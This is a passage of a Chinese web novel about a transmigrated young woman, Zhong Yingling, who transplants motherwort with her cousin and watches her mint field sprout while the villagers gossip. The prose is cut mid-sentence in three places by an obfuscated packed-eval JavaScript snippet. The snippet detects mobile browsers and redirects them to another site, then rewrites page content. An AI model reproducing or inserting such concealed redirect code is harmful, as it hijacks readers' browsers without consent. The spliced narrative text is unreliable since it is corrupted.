这会送走钟映红,钟映菱去厨房灶台烧水洗漱,回到房间躺下也懒得进游戏空间了,直接用意念操控着播种收获几轮过把瘾,很快困得睡着过去。 翌日又是个大晴天。 钟映菱睡醒洗漱好后,先去薄荷地里看下稻草杆的覆盖情况,把被风吹偏的稻草杆整好来。 一亩地覆盖着稻草杆成了周围田地里独特的风景,她沿着田边往回走,心想自己也算是晨间运动呼吸新鲜空气了。 今天村里多数人不用下地干活,许是怕热好些个人端着碗早饭坐在门口吃,边和邻里唠嗑着。 钟映菱回到家进厨房做早饭。 她去柜子里舀了碗面粉倒进盆里,加点盐再敲个鸡蛋进去,加水搅拌和面,揉成光滑面团后放着醒发。 趁这会闲着的功夫,钟映菱去水井那把吊桶提上来,拿了小块的瘦肉又回厨房。 她拿刀将瘦肉切片,放碗里拌入调料腌制着。 擀面条的面团一会就能醒发好。 钟映菱往案板上撒些干面粉,把醒发好的面团放上去,用洗干净的擀面杖擀成薄皮,往上面均匀撒上些干面粉后折叠切成细条备用。 炉灶起火锅中烧水,等水面翻涌时放入细长面条。 煮到面条浮起时,钟映菱再往锅里滑入腌制过的瘦肉片,敲了个二婶给的的鸡蛋进去,最后再撒点葱花,一碗营养丰盛、新鲜热乎、面香浓郁的面条就煮好了。 她从锅里装了碗面端到堂屋这边坐下吃。 先尝一口汤水,融合了瘦肉香鸡蛋香和面香特别味美,还有些葱花香点缀,喝着顺滑咸香。 再吃瘦肉片只觉得鲜嫩,方才鸡蛋敲进锅里时未曾搅散,用热汤裹出来的蛋白吃着细腻,里头的蛋黄更是软糯,细长的面条咬起来滑腻又不失劲道,面香四溢。 钟映菱对这碗面很是满意,不枉自己在厨房折腾好一会。 这个时代在吃住上肯定是比不上现代的,所以她还是很舍得在吃的上面花钱费时的。 毕竟吃到嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218327|197459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的东西不会假,也是最容易提升幸福感的法子。 她享受地吃完一整碗面条混着肉片和鸡蛋,再喝完依旧热乎咸香的面汤,只觉得整个人也跟着热乎起来了。 把碗筷洗好,钟映菱拿了把锄头来院子菜地这边开始翻土休整。 去年冬天那会家里就只种了小块地的萝卜和白菜,剩下大块地追肥放着等开春再种,这会倒是便宜了她,不用再愁种植前施肥的事。 钟映菱将那小块地留作种菜用,翻整大块地准备来种益母草。 移种益母草的念头还是她昨天在后山上采摘时冒出来的,经过半天的考虑觉着可行,才和钟映红提这回事。 薄荷种下后,第一回采收最快得等到五月,这期间两个月内间苗定苗、浇水追肥、锄草培土的工作分散着做不算辛苦,那么完全可以腾出时间精力顺带移栽益母草,多增添一份收成。 照着移栽益母草所需的条件,钟映菱把划分出来的大块菜地翻土翻够深度后耙平整,作好一条条畦后再在四周挖出排水的沟。 这会日头正盛,她忙出满身的汗,收好农具后去水井那洗了把脸凉爽下,再去厨房把另外一口炉灶锅里温着的水倒到木桶里,提去房间简单擦洗身子,换了身干爽的衣裳。 午饭简单加热早上剩的面条就能吃,钟映菱吃饱喝足后回房间午睡。 早上在院子里忙活这出也挺累的。 隔壁钟二叔家,时不时看下日头,钟映红等得逐渐焦急起来。 菱娘说等午后没那么热了再上山去,眼看着太阳都要西落了,到底什么时候出门啊? 她昨晚回到家里高兴得很,当即和爹娘说了菱娘要带自己采益母草回家种的事。 爹娘听了又惊又喜,没有怀疑菱娘说的话真假,才刚种了薄荷又要接着种益母草靠谱不,娘只恨不得把院子里那片菜地全部腾出来种益母草。 还是爹稳重些,颤着声音说:“别整天胡咧咧的,益母草赚钱不假,我们一家每天还要吃菜呢,全都种了益母草难道还要去买菜啊?” 娘讪讪嘀咕:“买菜就买菜是,算起来也是划算的啊。” 钟映红忙把自己早先也想全种益母草,菱娘劝自己的话说了,爹娘才算彻底把漂浮的心安回原位,殷切交代她记牢明天开垦菜地的宽度深度,明天就专心做这件事,家里的事暂时放一边去。 爹娘还让她机灵点,上山后听菱娘的话多帮着些。 钟映红昨晚生怕自己睡一觉就把菱娘交代的那些开沟作畦细节给忘了,背了好几遍才昏昏入睡。 今早吃过早饭后,她就在院子里翻整仅剩的那块菜地,挖出合适的沟畦。 等爹娘还有哥嫂他们下地回来,一家子更是围着那块菜地瞧了好一会,仿佛已经能看到这块土地上长出势头凶猛的一株株益母草,换成一块块铜板入了自家的口袋。 钟映红中午都睡得不踏实,迷迷糊糊睡了会就起身准备好上山要用到的铁锹和背篓,还有菱娘交代备的破布,一直在等着菱娘那一声喊。 就这么等到现在。 就在她等到耐不住性子,想着要不过去问一下的时候,终于等到那声天籁之音。 “大姐,我们可以走啦!” 11. 移栽益母草 钟映菱姐妹俩各背着背篓爬上后山,轻车熟路找到那块长益母草的角落。 原先这里长满青绿鲜嫩的益母草,经过昨天一天的采摘只剩特意留下的贴近泥土整齐的短小茬,随意一扫就跟刚破土而出的杂草差不多。 在这其中,留着一小片还未长成,但看着知道以后长势会很好的益母草。 钟映红感叹:“菱娘,我昨天还以为你留着这小片益母草不采是觉着还没长成,要留着以后再采呢。现在可算是明白了。” 菱娘应该那会就已经打算移栽益母草回家里种了,才会特意留出这一小片还没长成但长得特别好的益母草。 就像每年秋收后留种,爹都会特意留出最好的稻种一样。 谁家种的粮食收成更好,就会有很多村里人拿好东西和他换粮种,盼着好的粮种能在明年种出更多的粮食,种益母草也是一样的道理。 钟映菱点头:“移栽益母草肯定得选长得最健壮的来移栽,我昨天看这片益母草,就这块的长得最好。” 她将背篓放地上,顺势蹲下,拿出来铁锹来示范:“大姐,我们这回挖益母草,从周围两巴掌距离的地方开始往下往深了挖,连根带土给挖起来,尽量不要伤了根系。” 这里的土并不硬,握着铁锹稍微使点力就能穿破土块表面往深探入,钟映菱刚开始也是试探着挖,费了约莫一炷香的时间才挖出一株土块完整包裹着根系的益母草。 将其放到一旁,钟映菱交代:“大姐,大概就是这样子挖就好了。挖完暂时放一块,凑多一些再用湿布裹着放背篓里就好。” 她们还从家里带湿了水的破布过来,待会包裹住益母草的根系多少能减缓些水分流失。 钟映红刚看得仔细,就差屏气凝神了,这会郑重点头:“好的菱娘,我大概学会了,挖一个你帮着看看哈。” 她拿出背篓里的铁锹,蹲下开始采挖益母草,动作谨慎速度又不会过慢,用了比钟映菱稍微久些的时间挖出一株完整的益母草。 钟映菱笑着点头:“大姐你挖得很好,根系完整也都覆着土,接下来照着这样子挖就好了。” “没错就好。”钟映红得到肯定顿时大松一口气。 姐妹俩拿着铁锹围着这片益母草开挖,一株株包裹着新鲜泥土根系完整的益母草挖出摆在一旁地上,凑够一定量后用湿布小心裹起来放进背篓里,再继续挖。 钟映菱越挖越娴熟,对益母草根系的深度有了把握,握着铁锹往下挖时也从容有度,精准得很。 她挖益母草的速度越来越快,钟映红那边速度也提了上来。 饶是如此,她们也用了将近一个时辰才挖完这小片益母草,带来的两个背篓塞得满满当当。 钟映菱大喘一口气,拿出手帕擦掉脸颊两侧沁出的汗。 钟映红就没这么讲究了,直接用衣袖擦脸颊和额头上的汗,只觉得整张脸在发烫。 她高兴笑了笑:“可算是挖完了,天色快黑了,菱娘我们下山吧。” 雾灵山靠近村子这边虽说挺安全的,不走到深山去一般没事,但从小就听大人说晚上不要待在山上,钟映红看着被树荫遮挡住有点昏暗的天色也怪犯怵的。 钟映菱估摸着这会快酉时四刻了:“大姐,我们折点带枝叶的树枝再回去吧。要不了多少时间的,待会种益母草要用到。” 钟映红再着急,听到这是种益母草要用的自是应好。 姐妹俩随意在附近半高的树上掰折一些细长的树枝,毕竟太粗的她们也掰不动。碰上细长还难掰断的,就用铁锹大力敲几下,总能敲断。 钟映菱又掰下一根细长且叶子繁茂的树枝,扫了眼地上那些树枝,喊道:“大姐,够了够了,我们回去吧。” 钟映红应好,两人把这些树枝规整成几把,有些插在背篓边缘正好借着枝叶遮挡掉里头的益母草,剩下的直接手拿着,快步下山。 这个点将黑不黑,隐约还能看到天边的灰白和马上掉落的橘红,下地的人都回家了,不少家里甚至在吃饭了,一路上都没碰上人。 钟映红和家里人说了声,跟着菱娘先回她家。今天移栽益母草是家里的大事,家里的活都让娘和大嫂揽了去,她只要跟着菱娘忙这最重要的事就好。 进屋后,两人把压得肩膀痛的背篓卸下来,再把插在背篓边缘的树枝一根根拔出来。 钟映红:“菱娘,今晚到我家吃饭吧,我娘已经煮了你的饭了。” 钟映菱爽快应下:“好啊,那我就不和二婶客气了。” 这个点说晚不晚,待会忙完她随意煮点吃就行。但忙完这边还得去二叔家看剩下的益母草种下,都过去了就在那边吃吧。 自从上回在二叔家感受到久违的温暖后,她还挺喜欢去二叔家吃饭的。 钟映菱手上忙活着,边解释:“大姐,这些益母草拿出来后先不用打开湿布,就这么一大把放着。我们先照着益母草的长度挖出合适的穴,直接拿着一把益母草到畦上,放一株到穴里扶正填土就好了。” 钟映红应好,心里有数,这和平时种菜差不多。 钟映菱拿了锄头顺着畦的方向开穴。 她示范了开穴的穴距、穴深,钟映红看在眼里记住了,扛起锄头在另外一条畦上接着开穴。 姐妹俩合作,很快在预留的这块菜地上的四条畦上挖出一个个穴来。 钟映菱走到一旁拿起一把益母草,将包裹在根系上的湿布打开取下,走到畦上示范。 她站在畦边蹲下,所有益母草暂且放地上,一手拿起两株益母草放进开好的穴里扶正,另一只手直接捧起土填回穴位里,直至填满,两株益母草紧紧挨着很是稳当,层层轮生的小叶四下伸展着。 钟映菱交代:“大姐,每个穴大概种两到三株益母草,这样一手扶正一手填土就好了。” 钟映红疑惑问:“菱娘,为什么不能一个穴种一株啊?这样子长出来的益母草也更多些。” 她以前跟着爹娘下过地,知道撒种时一个穴位要撒好几颗种子,但像育好的秧苗插种时一个穴位插一株就好了,种这益母草不该和插秧一样的道理吗? 益母草这么值钱,一个穴位种两三株,那得少种多少个穴位啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218328|197459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟映菱解释:“我们挖的时候虽然很小心了,但到底是移栽换了个地方生长,一个穴位种两三株,要是有一株种不活,其它一两株只要能种活,那么这个穴位就不会废掉。而且一个穴位种两三株,益母草能互相支撑着更加稳当,风雨都吹不倒的。再者种密些也能少长点杂草。” 钟映红恍然大悟:“菱娘你这么一说,我就全懂了。还好你知道这些种植的法子,不然照着寻常种地的法子,这益母草肯定是种不成的。” 钟映菱笑了笑:“我也是碰巧在书上看到的,就看咱这回能不能种活了。” 钟映红很有信心:“有菱娘你在,肯定可以的!” 她也拿起一把益母草掀开裹着的湿布,走到畦边蹲下开始种益母草填土。 虽说菱娘交代一个穴位种两三株益母草,但钟映红看她刚开始往穴位里也就种了两株,干脆就照着两株来种。 饶是如此,往四条畦种到最后还剩了六七个穴位空着,钟映菱背回来的益母草都种完了。 钟映红提议:“从我这边背篓拿点益母草,把剩下的穴位都种完吧。” 自家少种点没事,菱娘这边穴都开好了,空着多难受。 钟映菱摇头:“不用了大姐,剩下那些穴把土填回去就好了。我这边种这么多够了,你背篓里的益母草也不多。” 在后山上采挖时,两人挖的益母草数量差不多。 不等钟映红再说,她交代:“大姐,你去打桶水过来浇水吧,浇得土地湿润就好,不要太多。益母草移栽后前三天得连着浇水的,保持湿润又不会太涝。” “我来给畦两边插上树枝,这种带枝叶的树枝白天可以遮挡日光,免得把咱浇下去的水都给晒干了。等益母草成活后,就不用这些树枝挡着了。” 在现代一般用益母草种子播种,种下后会往这片土盖上一层黑色透气塑膜,也是用来遮挡日光减少水分蒸发的。 移栽益母草,在其成活前自然也需要类似的措施,没有黑色透气塑膜,用带枝叶的树枝来遮挡日光也不错。 钟映红点头,去水井旁吊水,提了一桶水过来浇水。 一桶水浇完又去接水过来继续浇水,她浇水控制着量,保证能把土块浇透又不会积水。 钟映红还关注着菱娘手头上的活。 只见菱娘一手拿着几根树枝,一手握着一根树枝往畦旁的土上插入,稍微往畦中间倾斜以便枝叶能够遮挡到新种下的益母草,又不会被风雨一吹就倒。 菱娘的速度很快,刚开始往土里插下树枝后还需要调整下方向,到后头越插越准,稳妥得很。 钟映红默默记在心里,待会回到自家院子也要这么插树枝才行。 她很快给四条畦浇完水,又去帮着钟映菱插树枝。 就剩最后一点功夫,钟映菱索性放手让大姐去插树枝,有不对的再提醒几句。 钟映红很快上手。 随着最后一处树枝插好,自家院子里移栽益母草的活全部完成。 钟映菱笑了笑:“走吧大姐,我们过去你那边把剩下的益母草都种上。” 12. 种活了 来到钟二叔家,钟映菱根本没有干活的机会。 这个点天黑如墨,明月高悬,钟家村多数人家都吃过晚饭在纳凉,甚至睡觉的也不在少数。 钟二叔家早就做好晚饭在锅里温着,知道红娘菱娘今天在隔壁忙赚钱的大事,都默契地等着她们过来一起吃饭。 眼见红娘菱娘过来,提着一背篓益母草和那么多树枝,钟二叔一家忙涌上去帮忙提着。 听说菱娘那边已经全部种好,得赶着时间把这些益母草种到自家菜地上,拖得时间越久越不好成活,刘氏压下嘴里劝说先吃饭的话,只说:“那菱娘你忙了一整天先坐会歇息吧,红娘跟着你学会了,她教我们一起来种也快些。” 钟二叔点头:“是啊,我们种那么多年地了,种这益母草应该不难。” 大郎夫妻和三郎四郎也表示他们能帮忙,让菱娘歇着就好。 钟映红自信道:“菱娘你就歇会吧,我都学会了的,能教好我爹娘他们。反正你坐着也能看到这边情况,有什么不对的你再讲就是了。” 四郎听了机灵去搬张竹编的杌子到院子来:“二姐你快坐。” “行吧,那就辛苦你们了。”钟映菱不再多说,顺势坐下。忙了一下午没停过,坐下才感觉到双腿发酸,膝盖后方都有点痛了。 刘氏干劲十足:“我们辛苦什么,菱娘你辛苦了才对。” 接下来到了钟映红的主场时间,她给爹娘大哥他们几个讲述移栽益母草要做的事,开穴的间距和穴深、种益母草要扶正才填土、浇水要浇透但不能积水、插树枝要往畦间倾斜等。 钟映红头回觉得这么神气,不管是家里顶梁柱的爹娘还是更受重视的大哥他们,都得站在她面前认真听她讲话,一字一句记住她讲的细节。 而这一切只是因为她掌握了能卖很多钱的益母草移栽法子,这一切都是菱娘教给她的…… 从开穴到种植、浇水、插树枝,钟映红都在最先示范一遍,爹娘大哥他们再跟着做。 家里没那么多农具,小小一块菜地也挤不下七个人,三郎四郎改而跑去打水、插树枝。 钟映菱坐在杌子上看着,只觉得无比热闹。 她看到钟映红脸上洋溢着自信的笑容,在大姐不确定望过来时钟映菱会点头表示肯定,接收到她鼓励的钟映红眼神光芒更甚,指导起二叔他们干活也更加确信。 钟映菱不由想起刚穿过来时见到的钟映红,一个活泼勤快的农家姑娘,为了备嫁在家里做家务攒绣活换钱,好似也过得很好,但还是这会的她更美。 全家出动效率翻倍又翻倍,院子里剩下的菜地很快种满益母草,加上插在畦旁的树枝自成独特的风景。 刘氏有点不敢置信:“这就好了?” 种药材就这么简单?也就比种菜多插了点树枝啊。 钟二叔和大郎他们也有点恍惚,不过想到菱娘种了一亩的薄荷,好像比这还简单来着。 吴氏很是激动,她今天见到了晒干后一斤能卖二十二文钱的益母草,还学到了怎么种益母草,真的太简单了。 她感激菱娘,望向红娘的目光也带着火热,自家这小姑子跟着菱娘学到不少传家的知识,要是自己也能学到多点就好了。 钟映红站在一旁不说话,见家里人震惊恍惚的模样笑了笑。 钟映菱笑着点头:“好了,大姐教得好,二叔二婶你们也种得好,我们先吃饭吧。” 大家顿时松口气,笑出声来。 刘氏连连点头:“对对对,你们俩忙了一天肯定饿坏了,快吃饭吧。” 吴氏闻声去厨房端菜出来,刘氏去帮忙,就连三郎四郎也跑去拿碗筷。 别说菱娘,钟映红也成了家里的座上宾,只需要坐在饭桌前等吃饭就行了。 在二叔家这顿注定是吃得好的,许是知道她们忙了一天大事,还有一盘蒜苗炒肉给她们补油星。 钟映菱和钟映红吃得满足,大郎他们也吃得享受。 接下来三天,钟映菱早晚连着给菜地那片新种下的益母草浇水。 钟二叔家那边所有人把院子里那块益母草地当宝贝,谁经过了都要看几眼才肯走,盼着一株株益母草早日成活,茁壮生长。 钟映红对菱娘有信心,知道种活益母草没问题的,但还是忍不住紧张,每天总得喊菱娘过来家里看一回,听她说声正常才安心。 院子里种下的益母草肉眼可见地立住了,钟映菱也找了天傍晚去地里。 这会太阳西沉,地里积聚的热量也逐渐散去,气温平和,她将覆盖在地面上的稻草杆给掀开,露出一株株新冒出土的嫩绿小苗。 这段时间钟映菱或早或晚都会过来地里看下薄荷的情况,也是估摸着薄荷出苗有七成左右了,才决定今天过来掀开覆着的稻草杆。 钟映菱沿着一条条畦边走过去,将一把把稻草杆掀起放到旁边的沟上。 每掀完一条畦的稻草杆,她沿着沟往回走将稻草杆收拢搬到外围去,接着去下一条畦掀起覆着的稻草杆。 把一亩地的稻草杆都收完,钟映菱直起身子时都觉着腰有点酸痛了。 她放眼望去自己侍弄的这亩地,规整的一条条畦上,在黄土上长出青绿一片,郁郁青青地看着就生机十足。 钟映菱粗略估计,这亩地薄荷的出苗率大约有八成,放在现代也是比较亮眼的数据了。不愧是系统出品,薄荷种子就是优质! 她忍不住蹲下身去碰那柔软细嫩的薄荷苗,特别期待五月收获的那天。 抚摸逗弄过薄荷苗后,钟映菱顺带伸手插入畦上土里半个手指头,感受到还有些许湿润,也就放弃了今天顺带浇水的念头,等过一两天再说。 她把捧起一堆稻草杆往回走,打算跑几个来回将这些稻草杆搬回家去烧火。 等这些稻草杆烧成灰还能攒起来,等薄荷受那些蛀虫、红蜘蛛小害虫侵扰时可以用来防治病虫害,也算是一物多用了。 回家路上碰到去河里洗澡回来的三郎四郎,这两个小家伙眼里有活,忙伸手接过钟映菱双手捧着的稻草杆往回走。 四郎笑嘻嘻道:“二姐,你要搬稻草杆喊我们啊!” 三郎想到什么问:“二姐,这些稻草杆是从那亩薄荷地拿的吗?” 除了各家去岁存下来的,这时节也没有别的地方能弄到稻草杆,只剩从家里搬去盖着薄荷地的那些稻草杆了。 “我想着这些稻草杆不算多,来回跑几趟搬回去就好了。”钟映菱先回答了四郎的话。 她点头,“那亩薄荷地出了有八成的苗,我趁着刚才日头不大就把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218329|197459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稻草杆全掀掉了,接下来时不时去浇水追肥就行了。” 四郎听了忙问:“二姐,那这薄荷算是种成了?” 三郎笑开了眉眼,为二姐高兴。 钟映菱点头:“算种活了,接下来侍弄得好,头茬应该能收不少薄荷。” 三郎四郎忍不住欢呼。 钟映菱交代:“待会稻草杆也搬些回你们家吧,回头烧完火把灰留给我就行,还能用来给薄荷防虫害呢。” 自己一个人做饭还有柴火烧,用来引火的稻草杆要不了那么多。 三郎四郎点头应好。 四郎是个急性子的,见事情说完,当即把手上的稻草杆塞三哥手里:“你一起搬回去,我先去地里再搬些稻草杆回来。” 说完一溜烟就往地里跑去。 钟映菱和三郎好笑摇摇头。 等回到家,钟映菱招呼着:“三郎,把稻草杆放这里吧。” 三郎应好,完了和二姐打声招呼,出门又拐去家里和大姐说一声,快步跑去田里。 两兄弟跑了几趟把所有稻草杆给搬回来,一半送到二姐那,一半搬回自家用。 钟二叔他们听三郎四郎说起那亩薄荷地翠绿一片的事,都为菱娘高兴。 出苗了好啊,种活了好啊,希望真能收成一堆卖个好价钱。 隔天早上,去地里干活的人都看到了那亩异景。 早先别家地里插上翠绿的秧苗,立远闺女那亩地盖着晒得硬茬的稻草杆。 现在别家地里秧苗长势挺拔,立远闺女那亩地可算是掀掉黄硬的稻草杆,露出里头的苗苗了。 哪怕地里还有很多活要干,大伙还是忍不住先凑过去仔细瞧瞧。 “这就是立远闺女说的药材苗苗?看起来和我们插的秧苗还真不一样。” “就这么点小苗苗,真能长成卖很多钱的药材?” “药材也分贵贱的好不?要是一个从来没种过地的女娃随便就能种成贵药材,那我们种这么多年地的早发财了。” “我看也是,立远闺女就是太想她爹娘了才会做这一亩什么荷。那些采药人都不会种药材,她哪可能随便种下就能了?” “我看啊也不一定,采药人会采药那都是家传下来的,立远她闺女识字会看书说不定真能成。” 村里人交谈着,多数还是不看好,药材哪有那么好种的,想着立远闺女今年摔一跟头,明年就会老实种粮食了。 也有部分人心里犯嘀咕,想着立远闺女说不定真能种成那药材。那种子和种植法子都是立远生前带回家的,万一立远显灵了呢? 如果真种成药材卖了大钱,也不知道自家能不能弄到种子跟着种,立远闺女肯教他们种不。 钟大成站在人群中,看着那亩地上大片嫩绿的小苗,心情复杂。 他还是觉得种药材没有种粮食踏实,但既然菱娘坚持种了,她二叔又支持,还是盼着菱娘能种成卖钱的。 大家凑着说够也就散开了,回各自的地里开始忙活。 稍晚些,钟族长路过这亩薄荷地时也驻足看了会。 他捋着发白的长须沉思,想着上回立山说的事,菱娘这亩薄荷地要是真种成了,对钟氏一族或许也是好事。 从此种药不再是世家商贾的专长。